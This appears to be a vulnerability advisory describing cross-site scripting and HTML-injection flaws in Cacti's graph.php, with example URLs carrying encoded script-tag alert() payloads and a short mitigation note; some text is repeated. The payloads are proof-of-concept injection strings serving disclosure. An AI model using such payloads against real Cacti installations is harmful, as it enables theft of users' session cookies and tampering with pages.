Cacti Multiple Cross-Site Scripting and HTML-Injection Vulnerabilities

Cacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Examples of vulnerable URLs include: http://www.example.com/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27, http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E, http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate dynamic content. Additionally, users should be aware of the risks posed by clicking links from untrusted sources.

Cacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
